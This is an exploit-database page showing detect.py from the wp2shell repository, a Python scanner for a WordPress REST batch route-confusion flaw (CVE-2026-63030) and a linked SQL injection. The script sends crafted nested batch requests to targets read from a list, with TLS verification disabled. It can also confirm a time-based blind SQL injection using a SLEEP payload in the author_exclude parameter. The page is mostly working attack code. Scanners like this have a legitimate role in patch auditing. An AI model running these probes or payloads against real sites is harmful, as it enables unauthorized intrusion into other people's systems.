Exploit databaseDownload repository ZIP
GH-2ac443a4770bc275362d75839ef772a3
ikow/wp2shell
Sources for CVE-2026-63030
50 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
ikow/wp2shellRevision fdf42ae8b203
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
wp2shell-exploit/detect.py
Python · 7,160 bytes#!/usr/bin/env python3
"""
wp2shell Vulnerability Detector
CVE-2026-63030 + CVE-2026-60137
Non-destructive check. Does NOT exploit the vulnerability.
Tests for batch route confusion and optionally confirms SQL injection timing.
Usage:
python3 detect.py https://target.com
python3 detect.py https://target.com --confirm-sqli
python3 detect.py targets.txt # Scan multiple targets
Exit codes:
0 = vulnerable
1 = not vulnerable / patched
2 = inconclusive / unreachable
"""
import json
import ssl
import sys
import statistics
import time
import urllib.error
import urllib.parse
import urllib.request
_ctx = ssl.create_default_context()
_ctx.check_hostname = False
_ctx.verify_mode = ssl.CERT_NONE
_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
def check_target(base_url, confirm_sqli=False, verbose=True):
"""Check a single target. Returns: 'vulnerable', 'patched', or 'error'."""
if not base_url.startswith(("http://", "https://")):
base_url = f"https://{base_url}"
base_url = base_url.rstrip("/")
# Try both REST API URL formats
for batch_url in [
f"{base_url}/?rest_route=/batch/v1",
f"{base_url}/wp-json/batch/v1",
]:
result = _probe(base_url, batch_url, confirm_sqli, verbose)
if result != "error":
return result
if verbose:
print(f" [!] Cannot reach REST API at {base_url}")
return "error"
def _probe(base_url, batch_url, confirm_sqli, verbose):
"""Send the detection probe to a specific batch endpoint URL."""
payload = {
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "DELETE", "path": "/wp/v2/categories/0"},
{"method": "POST", "path": "/wp/v2/block-renderer/core/paragraph"},
]
}
req = urllib.request.Request(
batch_url,
data=json.dumps(payload).encode(),
headers={"Content-Type": "application/json", "User-Agent": _UA},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=15, context=_ctx) as resp:
data = json.loads(resp.read())
except urllib.error.HTTPError as e:
if e.code == 403:
if verbose:
print(f" [!] 403 Forbidden (WAF/blocked)")
return "error"
if e.code == 404:
return "error"
try:
data = json.loads(e.read())
except Exception:
if verbose:
print(f" [!] HTTP {e.code}")
return "error"
except (urllib.error.URLError, TimeoutError, OSError) as e:
return "error"
# Parse response
responses = data.get("responses", [])
if len(responses) < 2:
if verbose:
print(f" [!] Unexpected response format")
return "error"
entry1 = responses[1]
if entry1 is None:
return "error"
body = entry1.get("body", {})
code = body.get("code", "") if isinstance(body, dict) else ""
if code == "block_cannot_read":
if verbose:
print(f" [+] VULNERABLE — batch route confusion confirmed")
print(f" Error code '{code}' from wrong handler")
if confirm_sqli:
return _confirm_sqli(base_url, batch_url, verbose)
return "vulnerable"
elif code == "rest_term_invalid":
if verbose:
print(f" [-] PATCHED — handlers properly aligned")
return "patched"
elif code == "rest_no_route":
if verbose:
print(f" [-] Likely patched (desync trigger path not parsed)")
return "patched"
else:
if verbose:
print(f" [?] Inconclusive — got '{code}'")
return "error"
def _confirm_sqli(base_url, batch_url, verbose):
"""Confirm SQL injection with timing differential."""
if verbose:
print(f" [*] Confirming SQL injection (timing)...")
sleep_delay = 0.5
def probe_time(condition):
inner = [
{"method": "GET", "path": "http://:"},
{
"method": "GET",
"path": "/wp/v2/categories?"
+ urllib.parse.urlencode(
{"author_exclude": f"SELECT IF(({condition}),SLEEP({sleep_delay}),0)"}
),
},
{"method": "GET", "path": "/wp/v2/posts"},
]
outer = {
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "POST", "path": "/wp/v2/posts", "body": {"requests": inner}},
{"method": "POST", "path": "/batch/v1"},
]
}
req = urllib.request.Request(
batch_url,
data=json.dumps(outer).encode(),
headers={"Content-Type": "application/json", "User-Agent": _UA},
method="POST",
)
started = time.perf_counter()
try:
with urllib.request.urlopen(req, timeout=sleep_delay + 10, context=_ctx) as resp:
resp.read()
except Exception:
pass
return time.perf_counter() - started
fast_times = [probe_time("1=0") for _ in range(3)]
slow_times = [probe_time("1=1") for _ in range(3)]
fast = statistics.median(fast_times)
slow = statistics.median(slow_times)
if slow - fast > max(0.1, sleep_delay * 0.5):
if verbose:
print(f" [+] SQL INJECTION CONFIRMED — {fast:.2f}s vs {slow:.2f}s")
return "vulnerable"
else:
if verbose:
print(f" [?] Timing inconclusive — {fast:.2f}s vs {slow:.2f}s")
print(f" Route confusion detected but SQLi not timing-confirmed")
return "vulnerable" # Route confusion alone is enough
def main():
import argparse
parser = argparse.ArgumentParser(description="wp2shell vulnerability detector")
parser.add_argument("target", help="URL or file containing URLs (one per line)")
parser.add_argument("--confirm-sqli", action="store_true", help="Also confirm SQLi via timing")
parser.add_argument("-q", "--quiet", action="store_true", help="Only output vulnerable targets")
args = parser.parse_args()
# Check if target is a file
targets = []
try:
with open(args.target) as f:
targets = [line.strip() for line in f if line.strip() and not line.startswith("#")]
except (FileNotFoundError, IsADirectoryError, PermissionError):
targets = [args.target]
vulnerable = 0
total = len(targets)
for i, target in enumerate(targets, 1):
if not args.quiet:
prefix = f"[{i}/{total}] " if total > 1 else ""
print(f"{prefix}{target}")
result = check_target(target, args.confirm_sqli, verbose=not args.quiet)
if result == "vulnerable":
vulnerable += 1
if args.quiet:
print(target)
if not args.quiet:
print()
if total > 1 and not args.quiet:
print(f"{'='*40}")
print(f"Results: {vulnerable}/{total} vulnerable")
return 0 if vulnerable > 0 else 1
if __name__ == "__main__":
sys.exit(main())